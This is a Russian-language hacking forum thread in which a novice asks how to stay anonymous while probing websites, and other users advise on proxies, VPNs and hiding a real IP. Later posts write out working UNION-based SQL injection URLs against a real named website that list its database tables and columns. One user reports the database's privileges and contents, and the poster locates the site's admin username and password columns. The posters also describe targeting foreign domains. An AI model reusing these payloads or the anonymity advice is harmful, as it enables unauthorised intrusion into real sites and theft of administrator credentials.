Скачать TOR браузер, думал будет норм анонимайзер, но мнение изменилось когда начал вводить SQLi, когда пытался узнать название таблиц "тор" автоматически защитил сайт и не дал мне увидеть таблицы, то же самое и с XSS, проверял сайт на xss и "тор" автоматом заблокировал мой запрос. Я вот думаю, может нужно что в настройках сменить чтоб он нормально работал и не мешал мне, или может подскажите норм анонимайзер ip.
Я могу рассказать вам фишку тора, возможно для вас это будет зеро день, однако я понимаю что впн для слабаков. можно запустить тор и другой браузер, в этом другом браузере поставить тор как прокси. Так собствено через тор можно сканеры, пускать . Но не советую, тор слабоват, впн скачай и всё ок будет
Да я немного мозгами пошевелив и понял что никто за меня ничего не будет делать, и уже давно нашел разные проги для маскировки айпи, нужно было просто в поиск сайта вбить название темы или в гугле или еще проще в теме опустив вниз есть "похожые темы" там все и прочитал! Но все ровно спасибо! P.S А vpn вроди как платные, я лучше через свой айпи сидеть буду чем платить за vpn))
Правильно, один хрен каникулы закончатся и в школу нужно будет, лучше сохранить деньги на мороженое ну или тетрадки.
А за школу, каникулы и мороженое ето вы лично мне или так вообщем сказали? Прост мне щас не о школе нужно думать, а уже как и где роботу найти... еще при таком времени.
По поводу школы это был стёб. Новички всегда игнорируют собственную безопасность в частности IP и попадают в ж. из за этого. Я надеюсь в курсе о поговорке "бесплатный сыр только в мышеловке"? И я так подозреваю вами найденное "решение" это какой нибудь aхyительный сервис бесплатного ВПНа?
Не впн'а, а просто прокси... да и стараюсь уже не в укр/рф сайтах уязвимости искать, а в .ie, .fr, .ca и множество других, да и ломать еще я кроме "хлеба" ничего не умею, а только находить инъекцию и мне для етого думаю пока что хватает бесплатного прокси.
Ты мне сразу напомнил как я когда-то выложил проксю для хека на одном из гавнофорумов и настроил логирование, до сих пор чужие шелы лежат где-то в текстовике. Кстати отключай Флеш если используешь прокси, потому как флешплеер не гуляет по проксе и палит реальный IP
спс за советы учту, но вот я подумал чтоб не создавать тему можеш помоч с етим вопросом: есть пару сайтов к которым я знаю название таблиц и название колонок, но никак не могу и не знаю как добратся к админке и ко всем "юзерам", там нет таблиц "user" и "password" и что-то в етом роде, ну вот сам глянь: таблицы: http://www.cobranet.org/about.php?id=9999999 union select 1,2,3,group_concat(0x3c62723e,table_name),5,6 from information_schema.tables -- колонки: http://www.cobranet.org/about.php?id=9999999 union select 1,2,3,group_concat(0x3c62723e,column_name),5,6 from information_schema.columns -- может я не туда копаю?(к админке и юзерам)
3 таблицы cobranetdb, information_schema, test (пустая) current user: 'website@localhost' privilege: USAGE Паролей в базе нет, юзеров тоже Ничего интересного
Ааа, теперь нашел путь к колонкам: admin_id, admin_username, admin_password. Я прост не понял как найти колонки определенной таблицы, теперь уже понял, вот: http://www.cobranet.org/about.php?i...hema.columns where table_name='site_admins'-- Спасибо за помощь!
